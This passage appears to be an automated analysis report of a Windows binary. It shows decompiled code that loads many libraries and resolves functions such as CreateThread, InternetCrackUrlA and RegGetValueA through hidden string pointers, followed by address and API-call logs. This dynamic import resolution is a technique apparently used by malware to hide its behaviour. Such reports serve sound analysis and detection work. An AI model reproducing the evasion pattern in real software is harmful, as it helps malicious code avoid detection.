					_t396 =  *0x41aa64; // 0x73b60000
					 *0x41a8ac = GetProcAddress(_t396, "SetEnvironmentVariableA");
					_t217 =  *0x41aa64; // 0x73b60000
					 *0x41aac8 = GetProcAddress(_t217, "lstrcpyA");
					_t308 =  *0x41aa64; // 0x73b60000
					 *0x41a994 = GetProcAddress(_t308, "lstrcpynA");
				}
				_t309 =  *0x41a03c; // 0x7fa4c8
				 *0x41a964 = LoadLibraryA(_t309);
				_t2 =  *0x41a1e4; // 0x7fa408
				_t3 = LoadLibraryA(_t2); // executed
				 *0x41a8d8 = _t3;
				_t220 =  *0x41a5fc; // 0x7fa480
				 *0x41aaa8 = LoadLibraryA(_t220);
				_t310 =  *0x41a2c0; // 0x7fa5e8
				 *0x41a988 = LoadLibraryA(_t310);
				_t6 =  *0x41a240; // 0x7fa528
				_t7 = LoadLibraryA(_t6); // executed
				 *0x41aa40 = _t7;
				_t221 =  *0x41a77c; // 0x7fa3a8
				_t8 = LoadLibraryA(_t221); // executed
				 *0x41a94c = _t8;
				_t311 =  *0x41a1e0; // 0x7fa570
				_t9 = LoadLibraryA(_t311); // executed
				 *0x41aa34 = _t9;
				_t10 =  *0x41a568; // 0x7fa600
				_t11 = LoadLibraryA(_t10); // executed
				 *0x41aa80 = _t11;
				_t222 =  *0x41a0a4; // 0x7fa5a0
				_t12 = LoadLibraryA(_t222); // executed
				 *0x41a968 = _t12;
				_t312 =  *0x41a5a0; // 0x7fa5d0
				_t13 = LoadLibraryA(_t312); // executed
				 *0x41aa98 = _t13;
				_t14 =  *0x41a688; // 0x7fa420
				_t15 = LoadLibraryA(_t14); // executed
				 *0x41a938 = _t15;
				_t223 =  *0x41a228; // 0x7fa468
				_t16 = LoadLibraryA(_t223); // executed
				 *0x41a97c = _t16;
				_t313 =  *0x41a58c; // 0x7fa6f0
				_t17 = LoadLibraryA(_t313); // executed
				 *0x41aa88 = _t17;
				if( *0x41a964 != 0) {
					_t124 =  *0x41a4a0; // 0x7fa088
					_t272 =  *0x41a964; // 0x770b0000
					 *0x41aa54 = GetProcAddress(_t272, _t124);
					_t361 =  *0x41a964; // 0x770b0000
					 *0x41a85c = GetProcAddress(_t361, "memset");
					_t127 =  *0x41a964; // 0x770b0000
					_t17 = GetProcAddress(_t127, "memcpy");
					 *0x41aab8 = _t17;
				}
				if( *0x41a8d8 != 0) {
					_t265 =  *0x41a490; // 0x7fa978
					_t355 =  *0x41a8d8; // 0x6f710000
					 *0x41a954 = GetProcAddress(_t355, _t265);
					_t110 =  *0x41a25c; // 0x7e5a48
					_t266 =  *0x41a8d8; // 0x6f710000
					 *0x41aa74 = GetProcAddress(_t266, _t110);
					_t356 =  *0x41a530; // 0x7e5b88
					_t112 =  *0x41a8d8; // 0x6f710000
					 *0x41aabc = GetProcAddress(_t112, _t356);
					_t267 =  *0x41a560; // 0x7e5be8
					_t357 =  *0x41a8d8; // 0x6f710000
					 *0x41aa3c = GetProcAddress(_t357, _t267);
					_t115 =  *0x41a3d4; // 0x7fa900
					_t268 =  *0x41a8d8; // 0x6f710000
					 *0x41aacc = GetProcAddress(_t268, _t115);
					_t358 =  *0x41a23c; // 0x7e58e8
					_t117 =  *0x41a8d8; // 0x6f710000
					 *0x41a950 = GetProcAddress(_t117, _t358);
					_t269 =  *0x41a564; // 0x7e5c08
					_t359 =  *0x41a8d8; // 0x6f710000
					 *0x41a980 = GetProcAddress(_t359, _t269);
					_t120 =  *0x41a45c; // 0x7e58c8
					_t270 =  *0x41a8d8; // 0x6f710000
					 *0x41a84c = GetProcAddress(_t270, _t120);
					_t360 =  *0x41a278; // 0x7e59c8
					_t122 =  *0x41a8d8; // 0x6f710000
					 *0x41a958 = GetProcAddress(_t122, _t360);
					_t271 =  *0x41a8d8; // 0x6f710000
					_t17 = GetProcAddress(_t271, "InternetCrackUrlA");
					 *0x41a8ec = _t17;
				}
				if( *0x41aaa8 != 0) {
					_t347 =  *0x41a318; // 0x7fa9c0
					_t92 =  *0x41aaa8; // 0x745c0000
					 *0x41a874 = GetProcAddress(_t92, _t347);
					_t258 =  *0x41a63c; // 0x7fa8a0
					_t348 =  *0x41aaa8; // 0x745c0000
					 *0x41a9ac = GetProcAddress(_t348, _t258);
					_t95 =  *0x41a608; // 0x7e5a28
					_t259 =  *0x41aaa8; // 0x745c0000
					 *0x41a9ec = GetProcAddress(_t259, _t95);
					_t349 =  *0x41a528; // 0x7e5908
					_t97 =  *0x41aaa8; // 0x745c0000
					 *0x41a9fc = GetProcAddress(_t97, _t349);
					_t260 =  *0x41a3ec; // 0x7fa9d8
					_t350 =  *0x41aaa8; // 0x745c0000
					 *0x41aa28 = GetProcAddress(_t350, _t260);
					_t100 =  *0x41a648; // 0x7fa018
					_t261 =  *0x41aaa8; // 0x745c0000
					 *0x41aaa4 = GetProcAddress(_t261, _t100);
					_t351 =  *0x41a298; // 0x7e5928
					_t102 =  *0x41aaa8; // 0x745c0000
					 *0x41aab4 = GetProcAddress(_t102, _t351);
					_t262 =  *0x41a618; // 0x7e5988
					_t352 =  *0x41aaa8; // 0x745c0000
					 *0x41a878 = GetProcAddress(_t352, _t262);
					_t105 =  *0x41a384; // 0x7fa9f0
					_t263 =  *0x41aaa8; // 0x745c0000
					 *0x41aac0 = GetProcAddress(_t263, _t105);
					_t353 =  *0x41a4ec; // 0x7faa20
					_t107 =  *0x41aaa8; // 0x745c0000
					 *0x41aa5c = GetProcAddress(_t107, _t353);
					_t264 =  *0x41a38c; // 0x7fa798
					_t354 =  *0x41aaa8; // 0x745c0000
					_t17 = GetProcAddress(_t354, _t264);
					 *0x41aa94 = _t17;
				}
				if( *0x41a854 != 0) {
					_t83 =  *0x41a6c8; // 0x7faca8
					_t254 =  *0x41a854; // 0x73ae0000
					 *0x41a940 = GetProcAddress(_t254, _t83);
					_t344 =  *0x41a53c; // 0x7e5ba8
					_t85 =  *0x41a854; // 0x73ae0000
					 *0x41a920 = GetProcAddress(_t85, _t344);
					_t255 =  *0x41a180; // 0x7faa80
					_t345 =  *0x41a854; // 0x73ae0000
					 *0x41a9c4 = GetProcAddress(_t345, _t255);
					_t88 =  *0x41a724; // 0x7e5c28
					_t256 =  *0x41a854; // 0x73ae0000
					 *0x41a870 = GetProcAddress(_t256, _t88);
					_t346 =  *0x41a1fc; // 0x7fad50
					_t90 =  *0x41a854; // 0x73ae0000
					 *0x41aa6c = GetProcAddress(_t90, _t346);
					_t257 =  *0x41a854; // 0x73ae0000
					_t17 = GetProcAddress(_t257, "RegGetValueA");
					 *0x41a8f8 = _t17;
				}
				if( *0x41a988 != 0) {
					_t334 =  *0x41a4c4; // 0x7faa68
					_t61 =  *0x41a988; // 0x76990000
					 *0x41a9d0 = GetProcAddress(_t61, _t334);
					_t245 =  *0x41a198; // 0x7fab88
					_t335 =  *0x41a988; // 0x76990000
					 *0x41a960 = GetProcAddress(_t335, _t245);
					_t64 =  *0x41a7a8; // 0x7e5ae8
					_t246 =  *0x41a988; // 0x76990000
					 *0x41a948 = GetProcAddress(_t246, _t64);
					_t336 =  *0x41a274; // 0x7e5948
					_t66 =  *0x41a988; // 0x76990000
					 *0x41a8bc = GetProcAddress(_t66, _t336);
					_t247 =  *0x41a624; // 0x7fab40
					_t337 =  *0x41a988; // 0x76990000
					 *0x41a898 = GetProcAddress(_t337, _t247);
					_t69 =  *0x41a2b8; // 0x7fa128
					_t248 =  *0x41a988; // 0x76990000
					 *0x41a880 = GetProcAddress(_t248, _t69);
					_t338 =  *0x41a5f0; // 0x7faa98
					_t71 =  *0x41a988; // 0x76990000
					 *0x41aa38 = GetProcAddress(_t71, _t338);
					_t249 =  *0x41a19c; // 0x7faaf8
					_t339 =  *0x41a988; // 0x76990000
					 *0x41a93c = GetProcAddress(_t339, _t249);
					_t74 =  *0x41a73c; // 0x7faab0
					_t250 =  *0x41a988; // 0x76990000
					 *0x41a9f0 = GetProcAddress(_t250, _t74);
					_t340 =  *0x41a254; // 0x7facd8
					_t76 =  *0x41a988; // 0x76990000
					 *0x41a918 = GetProcAddress(_t76, _t340);
					_t251 =  *0x41a404; // 0x7f9f58
					_t341 =  *0x41a988; // 0x76990000
					 *0x41a87c = GetProcAddress(_t341, _t251);
					_t79 =  *0x41a17c; // 0x7e5a88
					_t252 =  *0x41a988; // 0x76990000
					 *0x41a9a8 = GetProcAddress(_t252, _t79);
					_t342 =  *0x41a154; // 0x7fabd0
					_t81 =  *0x41a988; // 0x76990000
					 *0x41a8d4 = GetProcAddress(_t81, _t342);
					_t253 =  *0x41a778; // 0x7faac8
					_t343 =  *0x41a988; // 0x76990000
					_t17 = GetProcAddress(_t343, _t253);
					 *0x41a9f8 = _t17;
				}
				if( *0x41aa40 != 0) {
					_t60 =  *0x41a120; // 0x7f9340
					_t244 =  *0x41aa40; // 0x6fc40000
					_t17 = GetProcAddress(_t244, _t60); // executed
					 *0x41a864 = _t17;
				}
				if( *0x41a94c != 0) {
					_t333 =  *0x41a3a0; // 0x7e59a8
					_t59 =  *0x41a94c; // 0x76600000
					_t17 = GetProcAddress(_t59, _t333);
					 *0x41aa48 = _t17;
				}
				if( *0x41a934 != 0) {
					_t243 =  *0x41a354; // 0x7e5aa8
					_t332 =  *0x41a934; // 0x76ae0000
					_t17 = GetProcAddress(_t332, _t243);
					 *0x41a91c = _t17;
				}
				if( *0x41aa34 != 0) {
					_t50 =  *0x41a108; // 0x7f9b10
					_t239 =  *0x41aa34; // 0x73870000
					 *0x41a95c = GetProcAddress(_t239, _t50);
					_t328 =  *0x41a710; // 0x7e5968
					_t52 =  *0x41aa34; // 0x73870000
					 *0x41aa18 = GetProcAddress(_t52, _t328);
					_t240 =  *0x41a510; // 0x7f9a70
					_t329 =  *0x41aa34; // 0x73870000
					 *0x41a900 = GetProcAddress(_t329, _t240);
					_t55 =  *0x41a35c; // 0x7e5ac8
					_t241 =  *0x41aa34; // 0x73870000
					 *0x41a8e0 = GetProcAddress(_t241, _t55);
					_t330 =  *0x41a524; // 0x7f9b38
					_t57 =  *0x41aa34; // 0x73870000
					 *0x41a8c0 = GetProcAddress(_t57, _t330);
					_t242 =  *0x41a0a0; // 0x7faae0
					_t331 =  *0x41aa34; // 0x73870000
					_t17 = GetProcAddress(_t331, _t242);
					 *0x41aa60 = _t17;
				}
				if( *0x41aa80 != 0) {
					_t41 =  *0x41a2fc; // 0x7faba0
					_t235 =  *0x41aa80; // 0x6f560000
					 *0x41a9c8 = GetProcAddress(_t235, _t41);
					_t324 =  *0x41a508; // 0x7fabe8
					_t43 =  *0x41aa80; // 0x6f560000
					 *0x41a924 = GetProcAddress(_t43, _t324);
					_t236 =  *0x41a540; // 0x7e5c48
					_t325 =  *0x41aa80; // 0x6f560000
					 *0x41aa30 = GetProcAddress(_t325, _t236);
					_t46 =  *0x41a214; // 0x7fb550
					_t237 =  *0x41aa80; // 0x6f560000
					 *0x41a888 = GetProcAddress(_t237, _t46);
					_t326 =  *0x41a794; // 0x7fb570
					_t48 =  *0x41aa80; // 0x6f560000
					 *0x41a99c = GetProcAddress(_t48, _t326);
					_t238 =  *0x41a7d0; // 0x7fabb8
					_t327 =  *0x41aa80; // 0x6f560000
					_t17 = GetProcAddress(_t327, _t238);
					 *0x41aa08 = _t17;
				}
				if( *0x41a968 != 0) {
					_t37 =  *0x41a178; // 0x7fac00
					_t233 =  *0x41a968; // 0x76550000
					 *0x41aa4c = GetProcAddress(_t233, _t37);
					_t322 =  *0x41a69c; // 0x7f9f98
					_t39 =  *0x41a968; // 0x76550000
					 *0x41a89c = GetProcAddress(_t39, _t322);
					_t234 =  *0x41a0e4; // 0x7fac18
					_t323 =  *0x41a968; // 0x76550000
					_t17 = GetProcAddress(_t323, _t234);
					 *0x41a90c = _t17;
				}
				if( *0x41aa98 != 0) {
					_t34 =  *0x41a270; // 0x7fb5b0
					_t232 =  *0x41aa98; // 0x750f0000
					 *0x41aa00 = GetProcAddress(_t232, _t34);
					_t321 =  *0x41a378; // 0x7fab10
					_t36 =  *0x41aa98; // 0x750f0000
					_t17 = GetProcAddress(_t36, _t321);
					 *0x41aa84 = _t17;
				}
				if( *0x41a938 != 0) {
					_t226 =  *0x41a3cc; // 0x7f9868
					_t316 =  *0x41a938; // 0x73130000
					 *0x41a8dc = GetProcAddress(_t316, _t226);
					_t23 =  *0x41a2a0; // 0x7fb3b0
					_t227 =  *0x41a938; // 0x73130000
					 *0x41a928 = GetProcAddress(_t227, _t23);
					_t317 =  *0x41a308; // 0x7f9b60
					_t25 =  *0x41a938; // 0x73130000
					 *0x41a9e8 = GetProcAddress(_t25, _t317);
					_t228 =  *0x41a150; // 0x7fab58
					_t318 =  *0x41a938; // 0x73130000
					 *0x41aa2c = GetProcAddress(_t318, _t228);
					_t28 =  *0x41a4f4; // 0x7fab28
					_t229 =  *0x41a938; // 0x73130000
					 *0x41aa0c = GetProcAddress(_t229, _t28);
					_t319 =  *0x41a7c8; // 0x7fb630
					_t30 =  *0x41a938; // 0x73130000
					 *0x41a9b8 = GetProcAddress(_t30, _t319);
					_t230 =  *0x41a380; // 0x7fb590
					_t320 =  *0x41a938; // 0x73130000
					 *0x41a8f0 = GetProcAddress(_t320, _t230);
					_t33 =  *0x41a7b8; // 0x7fab70
					_t231 =  *0x41a938; // 0x73130000
					_t17 = GetProcAddress(_t231, _t33);
					 *0x41aa7c = _t17;
				}
				if( *0x41a97c != 0) {
					_t314 =  *0x41a174; // 0x7fb4f0
					_t20 =  *0x41a97c; // 0x76610000
					 *0x41a98c = GetProcAddress(_t20, _t314);
					_t225 =  *0x41a3d8; // 0x7fb3d0
					_t315 =  *0x41a97c; // 0x76610000
					_t17 = GetProcAddress(_t315, _t225);
					 *0x41a884 = _t17;
				}
				if( *0x41aa88 != 0) {
					_t18 =  *0x41a448; // 0x7fad38
					_t224 =  *0x41aa88; // 0x6e0e0000
					_t19 = GetProcAddress(_t224, _t18);
					 *0x41a990 = _t19;
					return _t19;
				}
				return _t17;
			}

0x0040c4aa
0x0040c4b0
0x0040c4b6
0x0040c4c3
0x0040c4c8
0x0040c4cf
0x0040c4db
0x0040c4e0
0x0040c4e7
0x0040c4f4
0x0040c4f9
0x0040c4ff
0x0040c50c
0x0040c511
0x0040c518
0x0040c524
0x0040c529
0x0040c530
0x0040c53d
0x0040c542
0x0040c548
0x0040c555
0x0040c55a
0x0040c561
0x0040c56d
0x0040c572
0x0040c579
0x0040c586
0x0040c58b
0x0040c591
0x0040c59e
0x0040c5a3
0x0040c5aa
0x0040c5b6
0x0040c5bb
0x0040c5c2
0x0040c5cf
0x0040c5d4
0x0040c5da
0x0040c5e7
0x0040c5ec
0x0040c5f3
0x0040c5ff
0x0040c604
0x0040c60b
0x0040c618
0x0040c61d
0x0040c623
0x0040c630
0x0040c635
0x0040c63c
0x0040c648
0x0040c64d
0x0040c654
0x0040c661
0x0040c666
0x0040c66c
0x0040c679
0x0040c67e
0x0040c685
0x0040c691
0x0040c696
0x0040c69d
0x0040c6aa
0x0040c6af
0x0040c6b5
0x0040c6c2
0x0040c6c7
0x0040c6ce
0x0040c6da
0x0040c6df
0x0040c6e6
0x0040c6f3
0x0040c6f8
0x0040c6fe
0x0040c70b
0x0040c710
0x0040c717
0x0040c723
0x0040c728
0x0040c72f
0x0040c73c
0x0040c741
0x0040c747
0x0040c754
0x0040c759
0x0040c760
0x0040c76c
0x0040c771
0x0040c778
0x0040c785
0x0040c78a
0x0040c790
0x0040c79d
0x0040c7a2
0x0040c7a9
0x0040c7b5
0x0040c7ba
0x0040c7c1
0x0040c7ce
0x0040c7d3
0x0040c7d9
0x0040c7e6
0x0040c7eb
0x0040c7f2
0x0040c7fe
0x0040c803
0x0040c80a
0x0040c817
0x0040c81c
0x0040c822
0x0040c82f
0x0040c834
0x0040c83b
0x0040c847
0x0040c84c
0x0040c853
0x0040c860
0x0040c865
0x0040c86b
0x0040c878
0x0040c87d
0x0040c884
0x0040c890
0x0040c895
0x0040c89c
0x0040c8a9
0x0040c8ae
0x0040c8b4
0x0040c8c1
0x0040c8c6
0x0040c8cd
0x0040c8d9
0x0040c8de
0x0040c8e5
0x0040c8f2
0x0040c8f7
0x0040c8fd
0x0040c90a
0x0040c90f
0x0040c916
0x0040c922
0x0040c927
0x0040c92e
0x0040c93b
0x0040c940
0x0040c946
0x0040c953
0x0040c958
0x0040c95f
0x0040c96b
0x0040c970
0x0040c977
0x0040c984
0x0040c98e
0x0040c99a
0x0040c9a4
0x0040c9b1
0x0040c9bb
0x0040c9c8
0x0040c9d2
0x0040c9de
0x0040c9e8
0x0040c9f5
0x0040c9f5
0x0040c9fa
0x0040ca07
0x0040ca0c
0x0040ca12
0x0040ca18
0x0040ca1d
0x0040ca2a
0x0040ca2f
0x0040ca3c
0x0040ca41
0x0040ca47
0x0040ca4d
0x0040ca52
0x0040ca59
0x0040ca5f
0x0040ca64
0x0040ca6b
0x0040ca71
0x0040ca76
0x0040ca7c
0x0040ca82
0x0040ca87
0x0040ca8e
0x0040ca94
0x0040ca99
0x0040caa0
0x0040caa6
0x0040caab
0x0040cab1
0x0040cab7
0x0040cabc
0x0040cac3
0x0040cac9
0x0040cace
0x0040cad5
0x0040cadb
0x0040cae7
0x0040cae9
0x0040caef
0x0040cafc
0x0040cb06
0x0040cb13
0x0040cb1d
0x0040cb23
0x0040cb29
0x0040cb29
0x0040cb35
0x0040cb3b
0x0040cb42
0x0040cb4f
0x0040cb54
0x0040cb5a
0x0040cb67
0x0040cb6c
0x0040cb73
0x0040cb7f
0x0040cb84
0x0040cb8b
0x0040cb98
0x0040cb9d
0x0040cba3
0x0040cbb0
0x0040cbb5
0x0040cbbc
0x0040cbc8
0x0040cbcd
0x0040cbd4
0x0040cbe1
0x0040cbe6
0x0040cbec
0x0040cbf9
0x0040cbfe
0x0040cc05
0x0040cc11
0x0040cc1b
0x0040cc22
0x0040cc28
0x0040cc28
0x0040cc34
0x0040cc3a
0x0040cc41
0x0040cc4d
0x0040cc52
0x0040cc59
0x0040cc66
0x0040cc6b
0x0040cc71
0x0040cc7e
0x0040cc83
0x0040cc8a
0x0040cc96
0x0040cc9b
0x0040cca2
0x0040ccaf
0x0040ccb4
0x0040ccba
0x0040ccc7
0x0040cccc
0x0040ccd3
0x0040ccdf
0x0040cce4
0x0040cceb
0x0040ccf8
0x0040ccfd
0x0040cd03
0x0040cd10
0x0040cd15
0x0040cd1c
0x0040cd28
0x0040cd2d
0x0040cd34
0x0040cd3b
0x0040cd41
0x0040cd41
0x0040cd4d
0x0040cd53
0x0040cd59
0x0040cd66
0x0040cd6b
0x0040cd72
0x0040cd7e
0x0040cd83
0x0040cd8a
0x0040cd97
0x0040cd9c
0x0040cda2
0x0040cdaf
0x0040cdb4
0x0040cdbb
0x0040cdc7
0x0040cdd1
0x0040cdd8
0x0040cdde
0x0040cdde
0x0040cdea
0x0040cdf0
0x0040cdf7
0x0040ce03
0x0040ce08
0x0040ce0f
0x0040ce1c
0x0040ce21
0x0040ce27
0x0040ce34
0x0040ce39
0x0040ce40
0x0040ce4c
0x0040ce51
0x0040ce58
0x0040ce65
0x0040ce6a
0x0040ce70
0x0040ce7d
0x0040ce82
0x0040ce89
0x0040ce95
0x0040ce9a
0x0040cea1
0x0040ceae
0x0040ceb3
0x0040ceb9
0x0040cec6
0x0040cecb
0x0040ced2
0x0040cede
0x0040cee3
0x0040ceea
0x0040cef7
0x0040cefc
0x0040cf02
0x0040cf0f
0x0040cf14
0x0040cf1b
0x0040cf27
0x0040cf2c
0x0040cf33
0x0040cf3a
0x0040cf40
0x0040cf40
0x0040cf4c
0x0040cf4e
0x0040cf54
0x0040cf5b
0x0040cf61
0x0040cf61
0x0040cf6d
0x0040cf6f
0x0040cf76
0x0040cf7c
0x0040cf82
0x0040cf82
0x0040cf8e
0x0040cf90
0x0040cf97
0x0040cf9e
0x0040cfa4
0x0040cfa4
0x0040cfb0
0x0040cfb6
0x0040cfbc
0x0040cfc9
0x0040cfce
0x0040cfd5
0x0040cfe1
0x0040cfe6
0x0040cfed
0x0040cffa
0x0040cfff
0x0040d005
0x0040d012
0x0040d017
0x0040d01e
0x0040d02a
0x0040d02f
0x0040d036
0x0040d03d
0x0040d043
0x0040d043
0x0040d04f
0x0040d055
0x0040d05b
0x0040d068
0x0040d06d
0x0040d074
0x0040d080
0x0040d085
0x0040d08c
0x0040d099
0x0040d09e
0x0040d0a4
0x0040d0b1
0x0040d0b6
0x0040d0bd
0x0040d0c9
0x0040d0ce
0x0040d0d5
0x0040d0dc
0x0040d0e2
0x0040d0e2
0x0040d0ee
0x0040d0f0
0x0040d0f6
0x0040d103
0x0040d108
0x0040d10f
0x0040d11b
0x0040d120
0x0040d127
0x0040d12e
0x0040d134
0x0040d134
0x0040d140
0x0040d142
0x0040d148
0x0040d155
0x0040d15a
0x0040d161
0x0040d167
0x0040d16d
0x0040d16d
0x0040d179
0x0040d17f
0x0040d186
0x0040d193
0x0040d198
0x0040d19e
0x0040d1ab
0x0040d1b0
0x0040d1b7
0x0040d1c3
0x0040d1c8
0x0040d1cf
0x0040d1dc
0x0040d1e1
0x0040d1e7
0x0040d1f4
0x0040d1f9
0x0040d200
0x0040d20c
0x0040d211
0x0040d218
0x0040d225
0x0040d22a
0x0040d230
0x0040d237
0x0040d23d
0x0040d23d
0x0040d249
0x0040d24b
0x0040d252
0x0040d25e
0x0040d263
0x0040d26a
0x0040d271
0x0040d277
0x0040d277
0x0040d283
0x0040d285
0x0040d28b
0x0040d292
0x0040d298
0x00000000
0x0040d298
0x0040d29e

APIs

GetProcAddress.KERNEL32(73B60000,007FA3F0), ref: 0040C4BD
GetProcAddress.KERNEL32(73B60000,007FA5B8), ref: 0040C4D5
GetProcAddress.KERNEL32(73B60000,007E55A8), ref: 0040C4EE
GetProcAddress.KERNEL32(73B60000,007FA708), ref: 0040C506
GetProcAddress.KERNEL32(73B60000,007FA690), ref: 0040C51E
GetProcAddress.KERNEL32(73B60000,007FA660), ref: 0040C537
GetProcAddress.KERNEL32(73B60000,007FA720), ref: 0040C54F
GetProcAddress.KERNEL32(73B60000,007FA678), ref: 0040C567
GetProcAddress.KERNEL32(73B60000,007FA6C0), ref: 0040C580
GetProcAddress.KERNEL32(73B60000,007FA6D8), ref: 0040C598
GetProcAddress.KERNEL32(73B60000,007FA930), ref: 0040C5B0
GetProcAddress.KERNEL32(73B60000,007FA918), ref: 0040C5C9
GetProcAddress.KERNEL32(73B60000,007FAA08), ref: 0040C5E1
GetProcAddress.KERNEL32(73B60000,007E5748), ref: 0040C5F9
GetProcAddress.KERNEL32(73B60000,007FA948), ref: 0040C612
GetProcAddress.KERNEL32(73B60000,007E5588), ref: 0040C62A
GetProcAddress.KERNEL32(73B60000,007F99D0), ref: 0040C642
GetProcAddress.KERNEL32(73B60000,007FA780), ref: 0040C65B
GetProcAddress.KERNEL32(73B60000,007E5728), ref: 0040C673
GetProcAddress.KERNEL32(73B60000,007FAA38), ref: 0040C68B
GetProcAddress.KERNEL32(73B60000,007E54E8), ref: 0040C6A4
GetProcAddress.KERNEL32(73B60000,007FA828), ref: 0040C6BC
GetProcAddress.KERNEL32(73B60000,007FA8B8), ref: 0040C6D4
GetProcAddress.KERNEL32(73B60000,007FA990), ref: 0040C6ED
GetProcAddress.KERNEL32(73B60000,007FA8D0), ref: 0040C705
GetProcAddress.KERNEL32(73B60000,007E57A8), ref: 0040C71D
GetProcAddress.KERNEL32(73B60000,007FA7C8), ref: 0040C736
GetProcAddress.KERNEL32(73B60000,007FA7E0), ref: 0040C74E
GetProcAddress.KERNEL32(73B60000,007FA9A8), ref: 0040C766
GetProcAddress.KERNEL32(73B60000,007E57C8), ref: 0040C77F
GetProcAddress.KERNEL32(73B60000,007FA960), ref: 0040C797
GetProcAddress.KERNEL32(73B60000,007FA7B0), ref: 0040C7AF
GetProcAddress.KERNEL32(73B60000,007FA7F8), ref: 0040C7C8
GetProcAddress.KERNEL32(73B60000,007FAA50), ref: 0040C7E0
GetProcAddress.KERNEL32(73B60000,007FA810), ref: 0040C7F8
GetProcAddress.KERNEL32(73B60000,007E5A08), ref: 0040C811
GetProcAddress.KERNEL32(73B60000,007E5BC8), ref: 0040C829
GetProcAddress.KERNEL32(73B60000,007FA888), ref: 0040C841
GetProcAddress.KERNEL32(73B60000,007FA8E8), ref: 0040C85A
GetProcAddress.KERNEL32(73B60000,007E5B08), ref: 0040C872
GetProcAddress.KERNEL32(73B60000,007F97C8), ref: 0040C88A
GetProcAddress.KERNEL32(73B60000,007FA840), ref: 0040C8A3
GetProcAddress.KERNEL32(73B60000,007FA858), ref: 0040C8BB
GetProcAddress.KERNEL32(73B60000,007E58A8), ref: 0040C8D3
GetProcAddress.KERNEL32(73B60000,007E5B48), ref: 0040C8EC
GetProcAddress.KERNEL32(73B60000,007E59E8), ref: 0040C904
GetProcAddress.KERNEL32(73B60000,007FA768), ref: 0040C91C
GetProcAddress.KERNEL32(73B60000,007E5B28), ref: 0040C935
GetProcAddress.KERNEL32(73B60000,007FA870), ref: 0040C94D
GetProcAddress.KERNEL32(73B60000,007E5B68), ref: 0040C965
GetProcAddress.KERNEL32(73B60000,007E5A68), ref: 0040C97E
GetProcAddress.KERNEL32(73B60000,CreateThread), ref: 0040C994
GetProcAddress.KERNEL32(73B60000,GetEnvironmentVariableA), ref: 0040C9AB
GetProcAddress.KERNEL32(73B60000,SetEnvironmentVariableA), ref: 0040C9C2
GetProcAddress.KERNEL32(73B60000,lstrcpyA), ref: 0040C9D8
GetProcAddress.KERNEL32(73B60000,lstrcpynA), ref: 0040C9EF
LoadLibraryA.KERNEL32(007FA4C8,?,00406BAD), ref: 0040CA01
LoadLibraryA.KERNELBASE(007FA408,?,00406BAD), ref: 0040CA12
LoadLibraryA.KERNEL32(007FA480,?,00406BAD), ref: 0040CA24
LoadLibraryA.KERNEL32(007FA5E8,?,00406BAD), ref: 0040CA36
LoadLibraryA.KERNELBASE(007FA528,?,00406BAD), ref: 0040CA47
LoadLibraryA.KERNELBASE(007FA3A8,?,00406BAD), ref: 0040CA59
LoadLibraryA.KERNELBASE(007FA570,?,00406BAD), ref: 0040CA6B
LoadLibraryA.KERNELBASE(007FA600,?,00406BAD), ref: 0040CA7C
LoadLibraryA.KERNELBASE(007FA5A0,?,00406BAD), ref: 0040CA8E
LoadLibraryA.KERNELBASE(007FA5D0,?,00406BAD), ref: 0040CAA0
LoadLibraryA.KERNELBASE(007FA420,?,00406BAD), ref: 0040CAB1
LoadLibraryA.KERNELBASE(007FA468,?,00406BAD), ref: 0040CAC3
LoadLibraryA.KERNELBASE(007FA6F0,?,00406BAD), ref: 0040CAD5
GetProcAddress.KERNEL32(770B0000,007FA088), ref: 0040CAF6
GetProcAddress.KERNEL32(770B0000,memset), ref: 0040CB0D
GetProcAddress.KERNEL32(770B0000,memcpy), ref: 0040CB23
GetProcAddress.KERNEL32(6F710000,007FA978), ref: 0040CB49
GetProcAddress.KERNEL32(6F710000,007E5A48), ref: 0040CB61
GetProcAddress.KERNEL32(6F710000,007E5B88), ref: 0040CB79
GetProcAddress.KERNEL32(6F710000,007E5BE8), ref: 0040CB92
GetProcAddress.KERNEL32(6F710000,007FA900), ref: 0040CBAA
GetProcAddress.KERNEL32(6F710000,007E58E8), ref: 0040CBC2
GetProcAddress.KERNEL32(6F710000,007E5C08), ref: 0040CBDB
GetProcAddress.KERNEL32(6F710000,007E58C8), ref: 0040CBF3
GetProcAddress.KERNEL32(6F710000,007E59C8), ref: 0040CC0B
GetProcAddress.KERNEL32(6F710000,InternetCrackUrlA), ref: 0040CC22
GetProcAddress.KERNEL32(745C0000,007FA9C0), ref: 0040CC47
GetProcAddress.KERNEL32(745C0000,007FA8A0), ref: 0040CC60
GetProcAddress.KERNEL32(745C0000,007E5A28), ref: 0040CC78
GetProcAddress.KERNEL32(745C0000,007E5908), ref: 0040CC90
GetProcAddress.KERNEL32(745C0000,007FA9D8), ref: 0040CCA9
GetProcAddress.KERNEL32(745C0000,007FA018), ref: 0040CCC1
GetProcAddress.KERNEL32(745C0000,007E5928), ref: 0040CCD9
GetProcAddress.KERNEL32(745C0000,007E5988), ref: 0040CCF2
GetProcAddress.KERNEL32(745C0000,007FA9F0), ref: 0040CD0A
GetProcAddress.KERNEL32(745C0000,007FAA20), ref: 0040CD22
GetProcAddress.KERNEL32(745C0000,007FA798), ref: 0040CD3B
GetProcAddress.KERNEL32(73AE0000,007FACA8), ref: 0040CD60
GetProcAddress.KERNEL32(73AE0000,007E5BA8), ref: 0040CD78
GetProcAddress.KERNEL32(73AE0000,007FAA80), ref: 0040CD91
GetProcAddress.KERNEL32(73AE0000,007E5C28), ref: 0040CDA9
GetProcAddress.KERNEL32(73AE0000,007FAD50), ref: 0040CDC1
GetProcAddress.KERNEL32(73AE0000,RegGetValueA), ref: 0040CDD8
GetProcAddress.KERNEL32(76990000,007FAA68), ref: 0040CDFD
GetProcAddress.KERNEL32(76990000,007FAB88), ref: 0040CE16
GetProcAddress.KERNEL32(76990000,007E5AE8), ref: 0040CE2E
GetProcAddress.KERNEL32(76990000,007E5948), ref: 0040CE46
GetProcAddress.KERNEL32(76990000,007FAB40), ref: 0040CE5F
GetProcAddress.KERNEL32(76990000,007FA128), ref: 0040CE77
GetProcAddress.KERNEL32(76990000,007FAA98), ref: 0040CE8F
GetProcAddress.KERNEL32(76990000,007FAAF8), ref: 0040CEA8
GetProcAddress.KERNEL32(76990000,007FAAB0), ref: 0040CEC0
GetProcAddress.KERNEL32(76990000,007FACD8), ref: 0040CED8
GetProcAddress.KERNEL32(76990000,007F9F58), ref: 0040CEF1
GetProcAddress.KERNEL32(76990000,007E5A88), ref: 0040CF09
GetProcAddress.KERNEL32(76990000,007FABD0), ref: 0040CF21
